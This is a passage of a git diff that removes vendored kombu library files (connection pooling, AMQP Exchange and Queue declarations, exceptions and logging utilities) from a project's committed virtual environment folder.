self._ensure_connection( - max_retries=1, reraise_as_library_errors=False - ) - return self._connection - - def _connection_factory(self): - self.declared_entities.clear() - self._default_channel = None - self._connection = self._establish_connection() - self._closed = False - return self._connection - - @property - def default_channel(self) -> Channel: - """Default channel. - - Created upon access and closed when the connection is closed. - - Note: - ---- - Can be used for automatic channel handling when you only need one - channel, and also it is the channel implicitly used if - a connection is passed instead of a channel, to functions that - require a channel. - """ - # make sure we're still connected, and if not refresh. - conn_opts = self._extract_failover_opts() - self._ensure_connection(**conn_opts) - - if self._default_channel is None: - self._default_channel = self.channel() - return self._default_channel - - @property - def host(self): - """The host as a host name/port pair separated by colon.""" - return ':'.join([self.hostname, str(self.port)]) - - @property - def transport(self): - if self._transport is None: - self._transport = self.create_transport() - return self._transport - - @cached_property - def manager(self): - """AMQP Management API. - - Experimental manager that can be used to manage/monitor the broker - instance. - - Not available for all transports. - """ - return self.transport.manager - - def get_manager(self, *args, **kwargs): - return self.transport.get_manager(*args, **kwargs) - - @cached_property - def recoverable_connection_errors(self): - """Recoverable connection errors. - - List of connection related exceptions that can be recovered from, - but where the connection must be closed and re-established first. - """ - try: - return self.get_transport_cls().recoverable_connection_errors - except AttributeError: - # There were no such classification before, - # and all errors were assumed to be recoverable, - # so this is a fallback for transports that do - # not support the new recoverable/irrecoverable classes. - return self.connection_errors + self.channel_errors - - @cached_property - def recoverable_channel_errors(self): - """Recoverable channel errors. - - List of channel related exceptions that can be automatically - recovered from without re-establishing the connection. - """ - try: - return self.get_transport_cls().recoverable_channel_errors - except AttributeError: - return () - - @cached_property - def connection_errors(self): - """List of exceptions that may be raised by the connection.""" - return self.get_transport_cls().connection_errors - - @cached_property - def channel_errors(self): - """List of exceptions that may be raised by the channel.""" - return self.get_transport_cls().channel_errors - - @property - def supports_heartbeats(self): - return self.transport.implements.heartbeats - - @property - def is_evented(self): - return self.transport.implements.asynchronous - - -BrokerConnection = Connection - - -class PooledConnection(Connection): - """Wraps :class:`kombu.Connection`. - - This wrapper modifies :meth:`kombu.Connection.__exit__` to close the connection - in case any exception occurred while the context was active. - """ - - def __init__(self, pool, **kwargs): - self._pool = pool - super().__init__(**kwargs) - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - if exc_type is not None and self._pool.limit: - self._pool.replace(self) - return super().__exit__(exc_type, exc_val, exc_tb) - - -class ConnectionPool(Resource): - """Pool of connections.""" - - LimitExceeded = exceptions.ConnectionLimitExceeded - close_after_fork = True - - def __init__(self, connection, limit=None, **kwargs): - self.connection = connection - super().__init__(limit=limit) - - def new(self): - return PooledConnection(self, **dict(self.connection._info(resolve=False))) - - def release_resource(self, resource): - try: - resource._debug('released') - except AttributeError: - pass - - def close_resource(self, resource): - resource._close() - - def collect_resource(self, resource, socket_timeout=0.1): - if not isinstance(resource, lazy): - return resource.collect(socket_timeout) - - @contextmanager - def acquire_channel(self, block=False): - with self.acquire(block=block) as connection: - yield connection, connection.default_channel - - def setup(self): - if self.limit: - q = self._resource.queue - # Keep in mind dirty/used resources - while len(q) < self.limit - len(self._dirty): - self._resource.put_nowait(lazy(self.new)) - - def prepare(self, resource): - if callable(resource): - resource = resource() - resource._debug('acquired') - return resource - - -class ChannelPool(Resource): - """Pool of channels.""" - - LimitExceeded = exceptions.ChannelLimitExceeded - - def __init__(self, connection, limit=None, **kwargs): - self.connection = connection - super().__init__(limit=limit) - - def new(self): - return lazy(self.connection.channel) - - def setup(self): - channel = self.new() - if self.limit: - q = self._resource.queue - # Keep in mind dirty/used resources - while len(q) < self.limit - len(self._dirty): - self._resource.put_nowait(lazy(channel)) - - def prepare(self, channel): - if callable(channel): - channel = channel() - return channel - - -def maybe_channel(channel: Channel | Connection) -> Channel: - """Get channel from object. - - Return the default channel if argument is a connection instance, - otherwise just return the channel given. - """ - if is_connection(channel): - return channel.default_channel - return channel - - -def is_connection(obj: Any) -> TypeGuard[Connection]: - return isinstance(obj, Connection) diff --git a/venv/Lib/site-packages/kombu/entity.py b/venv/Lib/site-packages/kombu/entity.py deleted file mode 100644 index f8fe538a906b66ccc2cea2829fe3154009c21780..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/entity.py +++ /dev/null @@ -1,887 +0,0 @@ -"""Exchange and Queue declarations.""" - -from __future__ import annotations - -import numbers - -from .abstract import MaybeChannelBound, Object -from .exceptions import ContentDisallowed -from .serialization import prepare_accept_content - -TRANSIENT_DELIVERY_MODE = 1 -PERSISTENT_DELIVERY_MODE = 2 -DELIVERY_MODES = {'transient': TRANSIENT_DELIVERY_MODE, - 'persistent': PERSISTENT_DELIVERY_MODE} - -__all__ = ('Exchange', 'Queue', 'binding', 'maybe_delivery_mode') - -INTERNAL_EXCHANGE_PREFIX = ('amq.',) - - -def _reprstr(s): - s = repr(s) - if isinstance(s, str) and s.startswith("u'"): - return s[2:-1] - return s[1:-1] - - -def pretty_bindings(bindings): - return '[{}]'.format(', '.join(map(str, bindings))) - - -def maybe_delivery_mode( - v, modes=None, default=PERSISTENT_DELIVERY_MODE): - """Get delivery mode by name (or none if undefined).""" - modes = DELIVERY_MODES if not modes else modes - if v: - return v if isinstance(v, numbers.Integral) else modes[v] - return default - - -class Exchange(MaybeChannelBound): - """An Exchange declaration. - - Arguments: - --------- - name (str): See :attr:`name`. - type (str): See :attr:`type`. - channel (kombu.Connection, ChannelT): See :attr:`channel`. - durable (bool): See :attr:`durable`. - auto_delete (bool): See :attr:`auto_delete`. - delivery_mode (enum): See :attr:`delivery_mode`. - arguments (Dict): See :attr:`arguments`. - no_declare (bool): See :attr:`no_declare` - - Attributes - ---------- - name (str): Name of the exchange. - Default is no name (the default exchange). - - type (str): - *This description of AMQP exchange types was shamelessly stolen - from the blog post `AMQP in 10 minutes: Part 4`_ by - Rajith Attapattu. Reading this article is recommended if you're - new to amqp.* - - "AMQP defines four default exchange types (routing algorithms) that - covers most of the common messaging use cases. An AMQP broker can - also define additional exchange types, so see your broker - manual for more information about available exchange types. - - * `direct` (*default*) - - Direct match between the routing key in the message, - and the routing criteria used when a queue is bound to - this exchange. - - * `topic` - - Wildcard match between the routing key and the routing - pattern specified in the exchange/queue binding. - The routing key is treated as zero or more words delimited - by `"."` and supports special wildcard characters. `"*"` - matches a single word and `"#"` matches zero or more words. - - * `fanout` - - Queues are bound to this exchange with no arguments. Hence - any message sent to this exchange will be forwarded to all - queues bound to this exchange. - - * `headers` - - Queues are bound to this exchange with a table of arguments - containing headers and values (optional). A special - argument named "x-match" determines the matching algorithm, - where `"all"` implies an `AND` (all pairs must match) and - `"any"` implies `OR` (at least one pair must match). - - :attr:`arguments` is used to specify the arguments. - - - .. _`AMQP in 10 minutes: Part 4`: - https://bit.ly/2rcICv5 - - channel (ChannelT): The channel the exchange is bound to (if bound). - - durable (bool): Durable exchanges remain active when a server restarts. - Non-durable exchanges (transient exchanges) are purged when a - server restarts. Default is :const:`True`. - - auto_delete (bool): If set, the exchange is deleted when all queues - have finished using it. Default is :const:`False`. - - delivery_mode (enum): The default delivery mode used for messages. - The value is an integer, or alias string. - - * 1 or `"transient"` - - The message is transient. Which means it is stored in - memory only, and is lost if the server dies or restarts. - - * 2 or "persistent" (*default*) - The message is persistent. Which means the message is - stored both in-memory, and on disk, and therefore - preserved if the server dies or restarts. - - The default value is 2 (persistent). - - arguments (Dict): Additional arguments to specify when the exchange - is declared. - - no_declare (bool): Never declare this exchange - (:meth:`declare` does nothing). - """ - - TRANSIENT_DELIVERY_MODE = TRANSIENT_DELIVERY_MODE - PERSISTENT_DELIVERY_MODE = PERSISTENT_DELIVERY_MODE - - name = '' - type = 'direct' - durable = True - auto_delete = False - passive = False - delivery_mode = None - no_declare = False - - attrs = ( - ('name', None), - ('type', None), - ('arguments', None), - ('durable', bool), - ('passive', bool), - ('auto_delete', bool), - ('delivery_mode', lambda m: DELIVERY_MODES.get(m) or m), - ('no_declare', bool), - ) - - def __init__(self, name='', type='', channel=None, **kwargs): - super().__init__(**kwargs) - self.name = name or self.name - self.type = type or self.type - self.maybe_bind(channel) - - def __hash__(self): - return hash(f'E|{self.name}') - - def _can_declare(self): - return not self.no_declare and ( - self.name and not self.name.startswith( - INTERNAL_EXCHANGE_PREFIX)) - - def declare(self, nowait=False, passive=None, channel=None): - """Declare the exchange. - - Creates the exchange on the broker, unless passive is set - in which case it will only assert that the exchange exists. - - Argument: - nowait (bool): If set the server will not respond, and a - response will not be waited for. Default is :const:`False`. - """ - if self._can_declare(): - passive = self.passive if passive is None else passive - return (channel or self.channel).exchange_declare( - exchange=self.name, type=self.type, durable=self.durable, - auto_delete=self.auto_delete, arguments=self.arguments, - nowait=nowait, passive=passive, - ) - - def bind_to(self, exchange='', routing_key='', - arguments=None, nowait=False, channel=None, **kwargs): - """Bind the exchange to another exchange. - - Arguments: - --------- - nowait (bool): If set the server will not respond, and the call - will not block waiting for a response. - Default is :const:`False`. - """ - if isinstance(exchange, Exchange): - exchange = exchange.name - return (channel or self.channel).exchange_bind( - destination=self.name, - source=exchange, - routing_key=routing_key, - nowait=nowait, - arguments=arguments, - ) - - def unbind_from(self, source='', routing_key='', - nowait=False, arguments=None, channel=None): - """Delete previously created exchange binding from the server.""" - if isinstance(source, Exchange): - source = source.name - return (channel or self.channel).exchange_unbind( - destination=self.name, - source=source, - routing_key=routing_key, - nowait=nowait, - arguments=arguments, - ) - - def Message(self, body, delivery_mode=None, properties=None, **kwargs): - """Create message instance to be sent with :meth:`publish`. - - Arguments: - --------- - body (Any): Message body. - - delivery_mode (bool): Set custom delivery mode. - Defaults to :attr:`delivery_mode`. - - priority (int): Message priority, 0 to broker configured - max priority, where higher is better. - - content_type (str): The messages content_type. If content_type - is set, no serialization occurs as it is assumed this is either - a binary object, or you've done your own serialization. - Leave blank if using built-in serialization as our library - properly sets content_type. - - content_encoding (str): The character set in which this object - is encoded. Use "binary" if sending in raw binary objects. - Leave blank if using built-in serialization as our library - properly sets content_encoding. - - properties (Dict): Message properties. - - headers (Dict): Message headers. - """ - properties = {} if properties is None else properties - properties['delivery_mode'] = maybe_delivery_mode(self.delivery_mode) - if (isinstance(body, str) and - properties.get('content_encoding', None)) is None: - kwargs['content_encoding'] = 'utf-8' - return self.channel.prepare_message( - body, - properties=properties, - **kwargs) - - def publish(self, message, routing_key=None, mandatory=False, - immediate=False, exchange=None): - """Publish message. - - Arguments: - --------- - message (Union[kombu.Message, str, bytes]): - Message to publish. - routing_key (str): Message routing key. - mandatory (bool): Currently not supported. - immediate (bool): Currently not supported. - """ - if isinstance(message, str): - message = self.Message(message) - exchange = exchange or self.name - return self.channel.basic_publish( - message, - exchange=exchange, - routing_key=routing_key, - mandatory=mandatory, - immediate=immediate, - ) - - def delete(self, if_unused=False, nowait=False): - """Delete the exchange declaration on server. - - Arguments: - --------- - if_unused (bool): Delete only if the exchange has no bindings. - Default is :const:`False`. - nowait (bool): If set the server will not respond, and a - response will not be waited for. Default is :const:`False`. - """ - return self.channel.exchange_delete(exchange=self.name, - if_unused=if_unused, - nowait=nowait) - - def binding(self, routing_key='', arguments=None, unbind_arguments=None): - return binding(self, routing_key, arguments, unbind_arguments) - - def __eq__(self, other): - if isinstance(other, Exchange): - return (self.name == other.name and - self.type == other.type and - self.arguments == other.arguments and - self.durable == other.durable and - self.auto_delete == other.auto_delete and - self.delivery_mode == other.delivery_mode) - return NotImplemented - - def __ne__(self, other): - return not self.__eq__(other) - - def __repr__(self): - return self._repr_entity(self) - - def __str__(self): - return 'Exchange {}({})'.format( - _reprstr(self.name) or repr(''), self.type, - ) - - @property - def can_cache_declaration(self): - return not self.auto_delete - - -class binding(Object): - """Represents a queue or exchange binding. - - Arguments: - --------- - exchange (Exchange): Exchange to bind to. - routing_key (str): Routing key used as binding key. - arguments (Dict): Arguments for bind operation. - unbind_arguments (Dict): Arguments for unbind operation. - """ - - attrs = ( - ('exchange', None), - ('routing_key', None), - ('arguments', None), - ('unbind_arguments', None) - ) - - def __init__(self, exchange=None, routing_key='', - arguments=None, unbind_arguments=None): - self.exchange = exchange - self.routing_key = routing_key - self.arguments = arguments - self.unbind_arguments = unbind_arguments - - def declare(self, channel, nowait=False): - """Declare destination exchange.""" - if self.exchange and self.exchange.name: - self.exchange.declare(channel=channel, nowait=nowait) - - def bind(self, entity, nowait=False, channel=None): - """Bind entity to this binding.""" - entity.bind_to(exchange=self.exchange, - routing_key=self.routing_key, - arguments=self.arguments, - nowait=nowait, - channel=channel) - - def unbind(self, entity, nowait=False, channel=None): - """Unbind entity from this binding.""" - entity.unbind_from(self.exchange, - routing_key=self.routing_key, - arguments=self.unbind_arguments, - nowait=nowait, - channel=channel) - - def __repr__(self): - return f'' - - def __str__(self): - return '{}->{}'.format( - _reprstr(self.exchange.name), _reprstr(self.routing_key), - ) - - -class Queue(MaybeChannelBound): - """A Queue declaration. - - Arguments: - --------- - name (str): See :attr:`name`. - exchange (Exchange, str): See :attr:`exchange`. - routing_key (str): See :attr:`routing_key`. - channel (kombu.Connection, ChannelT): See :attr:`channel`. - durable (bool): See :attr:`durable`. - exclusive (bool): See :attr:`exclusive`. - auto_delete (bool): See :attr:`auto_delete`. - queue_arguments (Dict): See :attr:`queue_arguments`. - binding_arguments (Dict): See :attr:`binding_arguments`. - consumer_arguments (Dict): See :attr:`consumer_arguments`. - no_declare (bool): See :attr:`no_declare`. - on_declared (Callable): See :attr:`on_declared`. - expires (float): See :attr:`expires`. - message_ttl (float): See :attr:`message_ttl`. - max_length (int): See :attr:`max_length`. - max_length_bytes (int): See :attr:`max_length_bytes`. - max_priority (int): See :attr:`max_priority`. - - Attributes - ---------- - name (str): Name of the queue. - Default is no name (default queue destination). - - exchange (Exchange): The :class:`Exchange` the queue binds to. - - routing_key (str): The routing key (if any), also called *binding key*. - - The interpretation of the routing key depends on - the :attr:`Exchange.type`. - - * direct exchange - - Matches if the routing key property of the message and - the :attr:`routing_key` attribute are identical. - - * fanout exchange - - Always matches, even if the binding does not have a key. - - * topic exchange - - Matches the routing key property of the message by a primitive - pattern matching scheme. The message routing key then consists - of words separated by dots (`"."`, like domain names), and - two special characters are available; star (`"*"`) and hash - (`"#"`). The star matches any word, and the hash matches - zero or more words. For example `"*.stock.#"` matches the - routing keys `"usd.stock"` and `"eur.stock.db"` but not - `"stock.nasdaq"`. - - channel (ChannelT): The channel the Queue is bound to (if bound). - - durable (bool): Durable queues remain active when a server restarts. - Non-durable queues (transient queues) are purged if/when - a server restarts. - Note that durable queues do not necessarily hold persistent - messages, although it does not make sense to send - persistent messages to a transient queue. - - Default is :const:`True`. - - exclusive (bool): Exclusive queues may only be consumed from by the - current connection. Setting the 'exclusive' flag - always implies 'auto-delete'. - - Default is :const:`False`. - - auto_delete (bool): If set, the queue is deleted when all consumers - have finished using it. Last consumer can be canceled - either explicitly or because its channel is closed. If - there was no consumer ever on the queue, it won't be - deleted. - - expires (float): Set the expiry time (in seconds) for when this - queue should expire. - - The expiry time decides how long the queue can stay unused - before it's automatically deleted. - *Unused* means the queue has no consumers, the queue has not been - redeclared, and ``Queue.get`` has not been invoked for a duration - of at least the expiration period. - - See https://www.rabbitmq.com/ttl.html#queue-ttl - - **RabbitMQ extension**: Only available when using RabbitMQ. - - message_ttl (float): Message time to live in seconds. - - This setting controls how long messages can stay in the queue - unconsumed. If the expiry time passes before a message consumer - has received the message, the message is deleted and no consumer - will see the message. - - See https://www.rabbitmq.com/ttl.html#per-queue-message-ttl - - **RabbitMQ extension**: Only available when using RabbitMQ. - - max_length (int): Set the maximum number of messages that the - queue can hold. - - If the number of messages in the queue size exceeds this limit, - new messages will be dropped (or dead-lettered if a dead letter - exchange is active). - - See https://www.rabbitmq.com/maxlength.html - - **RabbitMQ extension**: Only available when using RabbitMQ. - - max_length_bytes (int): Set the max size (in bytes) for the total - of messages in the queue. - - If the total size of all the messages in the queue exceeds this - limit, new messages will be dropped (or dead-lettered if a dead - letter exchange is active). - - **RabbitMQ extension**: Only available when using RabbitMQ. - - max_priority (int): Set the highest priority number for this queue. - - For example if the value is 10, then messages can delivered to - this queue can have a ``priority`` value between 0 and 10, - where 10 is the highest priority. - - RabbitMQ queues without a max priority set will ignore - the priority field in the message, so if you want priorities - you need to set the max priority field to declare the queue - as a priority queue. - - **RabbitMQ extension**: Only available when using RabbitMQ. - - queue_arguments (Dict): Additional arguments used when declaring - the queue. Can be used to to set the arguments value - for RabbitMQ/AMQP's ``queue.declare``. - - binding_arguments (Dict): Additional arguments used when binding - the queue. Can be used to to set the arguments value - for RabbitMQ/AMQP's ``queue.declare``. - - consumer_arguments (Dict): Additional arguments used when consuming - from this queue. Can be used to to set the arguments value - for RabbitMQ/AMQP's ``basic.consume``. - - alias (str): Unused in Kombu, but applications can take advantage - of this, for example to give alternate names to queues with - automatically generated queue names. - - on_declared (Callable): Optional callback to be applied when the - queue has been declared (the ``queue_declare`` operation is - complete). This must be a function with a signature that - accepts at least 3 positional arguments: - ``(name, messages, consumers)``. - - no_declare (bool): Never declare this queue, nor related - entities (:meth:`declare` does nothing). - """ - - ContentDisallowed = ContentDisallowed - - name = '' - exchange = Exchange('') - routing_key = '' - - durable = True - exclusive = False - auto_delete = False - no_ack = False - - attrs = ( - ('name', None), - ('exchange', None), - ('routing_key', None), - ('queue_arguments', None), - ('binding_arguments', None), - ('consumer_arguments', None), - ('durable', bool), - ('exclusive', bool), - ('auto_delete', bool), - ('no_ack', None), - ('alias', None), - ('bindings', list), - ('no_declare', bool), - ('expires', float), - ('message_ttl', float), - ('max_length', int), - ('max_length_bytes', int), - ('max_priority', int) - ) - - def __init__(self, name='', exchange=None, routing_key='', - channel=None, bindings=None, on_declared=None, - **kwargs): - super().__init__(**kwargs) - self.name = name or self.name - if isinstance(exchange, str): - self.exchange = Exchange(exchange) - elif isinstance(exchange, Exchange): - self.exchange = exchange - self.routing_key = routing_key or self.routing_key - self.bindings = set(bindings or []) - self.on_declared = on_declared - - # allows Queue('name', [binding(...), binding(...), ...]) - if isinstance(exchange, (list, tuple, set)): - self.bindings |= set(exchange) - if self.bindings: - self.exchange = None - - # exclusive implies auto-delete. - if self.exclusive: - self.auto_delete = True - self.maybe_bind(channel) - - def bind(self, channel): - on_declared = self.on_declared - bound = super().bind(channel) - bound.on_declared = on_declared - return bound - - def __hash__(self): - return hash(f'Q|{self.name}') - - def when_bound(self): - if self.exchange: - self.exchange = self.exchange(self.channel) - - def declare(self, nowait=False, channel=None): - """Declare queue and exchange then binds queue to exchange.""" - if not self.no_declare: - # - declare main binding. - self._create_exchange(nowait=nowait, channel=channel) - self._create_queue(nowait=nowait, channel=channel) - self._create_bindings(nowait=nowait, channel=channel) - return self.name - - def _create_exchange(self, nowait=False, channel=None): - if self.exchange: - self.exchange.declare(nowait=nowait, channel=channel) - - def _create_queue(self, nowait=False, channel=None): - self.queue_declare(nowait=nowait, passive=False, channel=channel) - if self.exchange and self.exchange.name: - self.queue_bind(nowait=nowait, channel=channel) - - def _create_bindings(self, nowait=False, channel=None): - for B in self.bindings: - channel = channel or self.channel - B.declare(channel) - B.bind(self, nowait=nowait, channel=channel) - - def queue_declare(self, nowait=False, passive=False, channel=None): - """Declare queue on the server. - - Arguments: - --------- - nowait (bool): Do not wait for a reply. - passive (bool): If set, the server will not create the queue. - The client can use this to check whether a queue exists - without modifying the server state. - """ - channel = channel or self.channel - queue_arguments = channel.prepare_queue_arguments( - self.queue_arguments or {}, - expires=self.expires, - message_ttl=self.message_ttl, - max_length=self.max_length, - max_length_bytes=self.max_length_bytes, - max_priority=self.max_priority, - ) - ret = channel.queue_declare( - queue=self.name, - passive=passive, - durable=self.durable, - exclusive=self.exclusive, - auto_delete=self.auto_delete, - arguments=queue_arguments, - nowait=nowait, - ) - if not self.name: - self.name = ret[0] - if self.on_declared: - self.on_declared(*ret) - return ret - - def queue_bind(self, nowait=False, channel=None): - """Create the queue binding on the server.""" - return self.bind_to(self.exchange, self.routing_key, - self.binding_arguments, - channel=channel, nowait=nowait) - - def bind_to(self, exchange='', routing_key='', - arguments=None, nowait=False, channel=None): - if isinstance(exchange, Exchange): - exchange = exchange.name - - return (channel or self.channel).queue_bind( - queue=self.name, - exchange=exchange, - routing_key=routing_key, - arguments=arguments, - nowait=nowait, - ) - - def get(self, no_ack=None, accept=None): - """Poll the server for a new message. - - This method provides direct access to the messages in a - queue using a synchronous dialogue, designed for - specific types of applications where synchronous functionality - is more important than performance. - - Returns - ------- - ~kombu.Message: if a message was available, - or :const:`None` otherwise. - - Arguments: - --------- - no_ack (bool): If enabled the broker will - automatically ack messages. - accept (Set[str]): Custom list of accepted content types. - """ - no_ack = self.no_ack if no_ack is None else no_ack - message = self.channel.basic_get(queue=self.name, no_ack=no_ack) - if message is not None: - m2p = getattr(self.channel, 'message_to_python', None) - if m2p: - message = m2p(message) - if message.errors: - message._reraise_error() - message.accept = prepare_accept_content(accept) - return message - - def purge(self, nowait=False): - """Remove all ready messages from the queue.""" - return self.channel.queue_purge(queue=self.name, - nowait=nowait) or 0 - - def consume(self, consumer_tag='', callback=None, - no_ack=None, nowait=False, on_cancel=None): - """Start a queue consumer. - - Consumers last as long as the channel they were created on, or - until the client cancels them. - - Arguments: - --------- - consumer_tag (str): Unique identifier for the consumer. - The consumer tag is local to a connection, so two clients - can use the same consumer tags. If this field is empty - the server will generate a unique tag. - - no_ack (bool): If enabled the broker will automatically - ack messages. - - nowait (bool): Do not wait for a reply. - - callback (Callable): callback called for each delivered message. - - on_cancel (Callable): callback called on cancel notify received - from broker. - """ - if no_ack is None: - no_ack = self.no_ack - return self.channel.basic_consume( - queue=self.name, - no_ack=no_ack, - consumer_tag=consumer_tag or '', - callback=callback, - nowait=nowait, - arguments=self.consumer_arguments, - on_cancel=on_cancel, - ) - - def cancel(self, consumer_tag): - """Cancel a consumer by consumer tag.""" - return self.channel.basic_cancel(consumer_tag) - - def delete(self, if_unused=False, if_empty=False, nowait=False): - """Delete the queue. - - Arguments: - --------- - if_unused (bool): If set, the server will only delete the queue - if it has no consumers. A channel error will be raised - if the queue has consumers. - - if_empty (bool): If set, the server will only delete the queue if - it is empty. If it is not empty a channel error will be raised. - - nowait (bool): Do not wait for a reply. - """ - return self.channel.queue_delete(queue=self.name, - if_unused=if_unused, - if_empty=if_empty, - nowait=nowait) - - def queue_unbind(self, arguments=None, nowait=False, channel=None): - return self.unbind_from(self.exchange, self.routing_key, - arguments, nowait, channel) - - def unbind_from(self, exchange='', routing_key='', - arguments=None, nowait=False, channel=None): - """Unbind queue by deleting the binding from the server.""" - return (channel or self.channel).queue_unbind( - queue=self.name, - exchange=exchange.name, - routing_key=routing_key, - arguments=arguments, - nowait=nowait, - ) - - def __eq__(self, other): - if isinstance(other, Queue): - return (self.name == other.name and - self.exchange == other.exchange and - self.routing_key == other.routing_key and - self.queue_arguments == other.queue_arguments and - self.binding_arguments == other.binding_arguments and - self.consumer_arguments == other.consumer_arguments and - self.durable == other.durable and - self.exclusive == other.exclusive and - self.auto_delete == other.auto_delete) - return NotImplemented - - def __ne__(self, other): - return not self.__eq__(other) - - def __repr__(self): - if self.bindings: - return self._repr_entity('Queue {name} -> {bindings}'.format( - name=_reprstr(self.name), - bindings=pretty_bindings(self.bindings), - )) - return self._repr_entity( - 'Queue {name} -> {0.exchange!r} -> {routing_key}'.format( - self, name=_reprstr(self.name), - routing_key=_reprstr(self.routing_key), - ), - ) - - @property - def can_cache_declaration(self): - if self.queue_arguments: - expiring_queue = "x-expires" in self.queue_arguments - else: - expiring_queue = False - return not expiring_queue and not self.auto_delete - - @classmethod - def from_dict(cls, queue, **options): - binding_key = options.get('binding_key') or options.get('routing_key') - - e_durable = options.get('exchange_durable') - if e_durable is None: - e_durable = options.get('durable') - - e_auto_delete = options.get('exchange_auto_delete') - if e_auto_delete is None: - e_auto_delete = options.get('auto_delete') - - q_durable = options.get('queue_durable') - if q_durable is None: - q_durable = options.get('durable') - - q_auto_delete = options.get('queue_auto_delete') - if q_auto_delete is None: - q_auto_delete = options.get('auto_delete') - - e_arguments = options.get('exchange_arguments') - q_arguments = options.get('queue_arguments') - b_arguments = options.get('binding_arguments') - c_arguments = options.get('consumer_arguments') - bindings = options.get('bindings') - - exchange = Exchange(options.get('exchange'), - type=options.get('exchange_type'), - delivery_mode=options.get('delivery_mode'), - routing_key=options.get('routing_key'), - durable=e_durable, - auto_delete=e_auto_delete, - arguments=e_arguments) - return Queue(queue, - exchange=exchange, - routing_key=binding_key, - durable=q_durable, - exclusive=options.get('exclusive'), - auto_delete=q_auto_delete, - no_ack=options.get('no_ack'), - queue_arguments=q_arguments, - binding_arguments=b_arguments, - consumer_arguments=c_arguments, - bindings=bindings) - - def as_dict(self, recurse=False): - res = super().as_dict(recurse) - if not recurse: - return res - bindings = res.get('bindings') - if bindings: - res['bindings'] = [b.as_dict(recurse=True) for b in bindings] - return res diff --git a/venv/Lib/site-packages/kombu/exceptions.py b/venv/Lib/site-packages/kombu/exceptions.py deleted file mode 100644 index 825baa127cf73ea4b9a6ab68557af108b2b88d20..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/exceptions.py +++ /dev/null @@ -1,112 +0,0 @@ -"""Exceptions.""" - -from __future__ import annotations - -from socket import timeout as TimeoutError -from types import TracebackType -from typing import TYPE_CHECKING, TypeVar - -from amqp import ChannelError, ConnectionError, ResourceError - -if TYPE_CHECKING: - from kombu.asynchronous.http import Response - -__all__ = ( - 'reraise', 'KombuError', 'OperationalError', - 'NotBoundError', 'MessageStateError', 'TimeoutError', - 'LimitExceeded', 'ConnectionLimitExceeded', - 'ChannelLimitExceeded', 'ConnectionError', 'ChannelError', - 'VersionMismatch', 'SerializerNotInstalled', 'ResourceError', - 'SerializationError', 'EncodeError', 'DecodeError', 'HttpError', - 'InconsistencyError', -) - -BaseExceptionType = TypeVar('BaseExceptionType', bound=BaseException) - - -def reraise( - tp: type[BaseExceptionType], - value: BaseExceptionType, - tb: TracebackType | None = None -) -> BaseExceptionType: - """Reraise exception.""" - if value.__traceback__ is not tb: - raise value.with_traceback(tb) - raise value - - -class KombuError(Exception): - """Common subclass for all Kombu exceptions.""" - - -class OperationalError(KombuError): - """Recoverable message transport connection error.""" - - -class SerializationError(KombuError): - """Failed to serialize/deserialize content.""" - - -class EncodeError(SerializationError): - """Cannot encode object.""" - - -class DecodeError(SerializationError): - """Cannot decode object.""" - - -class NotBoundError(KombuError): - """Trying to call channel dependent method on unbound entity.""" - - -class MessageStateError(KombuError): - """The message has already been acknowledged.""" - - -class LimitExceeded(KombuError): - """Limit exceeded.""" - - -class ConnectionLimitExceeded(LimitExceeded): - """Maximum number of simultaneous connections exceeded.""" - - -class ChannelLimitExceeded(LimitExceeded): - """Maximum number of simultaneous channels exceeded.""" - - -class VersionMismatch(KombuError): - """Library dependency version mismatch.""" - - -class SerializerNotInstalled(KombuError): - """Support for the requested serialization type is not installed.""" - - -class ContentDisallowed(SerializerNotInstalled): - """Consumer does not allow this content-type.""" - - -class InconsistencyError(ConnectionError): - """Data or environment has been found to be inconsistent. - - Depending on the cause it may be possible to retry the operation. - """ - - -class HttpError(Exception): - """HTTP Client Error.""" - - def __init__( - self, - code: int, - message: str | None = None, - response: Response | None = None - ) -> None: - self.code = code - self.message = message - self.response = response - super().__init__(code, message, response) - - def __str__(self) -> str: - return 'HTTP {0.code}: {0.message}'.format(self) diff --git a/venv/Lib/site-packages/kombu/log.py b/venv/Lib/site-packages/kombu/log.py deleted file mode 100644 index b9bca7f1938ed18497a08f68e2361f0a4abf09a3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/log.py +++ /dev/null @@ -1,143 +0,0 @@ -"""Logging Utilities.""" - -from __future__ import annotations - -import logging -import numbers -import os -import sys -from logging.handlers import WatchedFileHandler -from typing import TYPE_CHECKING - -from .utils.encoding import safe_repr, safe_str -from .utils.functional import maybe_evaluate -from .utils.objects import cached_property - -if TYPE_CHECKING: - from logging import Logger - -__all__ = ('LogMixin', 'LOG_LEVELS', 'get_loglevel', 'setup_logging') - -LOG_LEVELS = dict(logging._nameToLevel) -LOG_LEVELS.update(logging._levelToName) -LOG_LEVELS.setdefault('FATAL', logging.FATAL) -LOG_LEVELS.setdefault(logging.FATAL, 'FATAL') -DISABLE_TRACEBACKS = os.environ.get('DISABLE_TRACEBACKS') - - -def get_logger(logger: str | Logger): - """Get logger by name.""" - if isinstance(logger, str): - logger = logging.getLogger(logger) - if not logger.handlers: - logger.addHandler(logging.NullHandler()) - return logger - - -def get_loglevel(level): - """Get loglevel by name.""" - if isinstance(level, str): - return LOG_LEVELS[level] - return level - - -def naive_format_parts(fmt): - parts = fmt.split('%') - for i, e in enumerate(parts[1:]): - yield None if not e or not parts[i - 1] else e[0] - - -def safeify_format(fmt, args, filters=None): - filters = {'s': safe_str, 'r': safe_repr} if not filters else filters - for index, type in enumerate(naive_format_parts(fmt)): - filt = filters.get(type) - yield filt(args[index]) if filt else args[index] - - -class LogMixin: - """Mixin that adds severity methods to any class.""" - - def debug(self, *args, **kwargs): - return self.log(logging.DEBUG, *args, **kwargs) - - def info(self, *args, **kwargs): - return self.log(logging.INFO, *args, **kwargs) - - def warn(self, *args, **kwargs): - return self.log(logging.WARN, *args, **kwargs) - - def error(self, *args, **kwargs): - kwargs.setdefault('exc_info', True) - return self.log(logging.ERROR, *args, **kwargs) - - def critical(self, *args, **kwargs): - kwargs.setdefault('exc_info', True) - return self.log(logging.CRITICAL, *args, **kwargs) - - def annotate(self, text): - return f'{self.logger_name} - {text}' - - def log(self, severity, *args, **kwargs): - if DISABLE_TRACEBACKS: - kwargs.pop('exc_info', None) - if self.logger.isEnabledFor(severity): - log = self.logger.log - if len(args) > 1 and isinstance(args[0], str): - expand = [maybe_evaluate(arg) for arg in args[1:]] - return 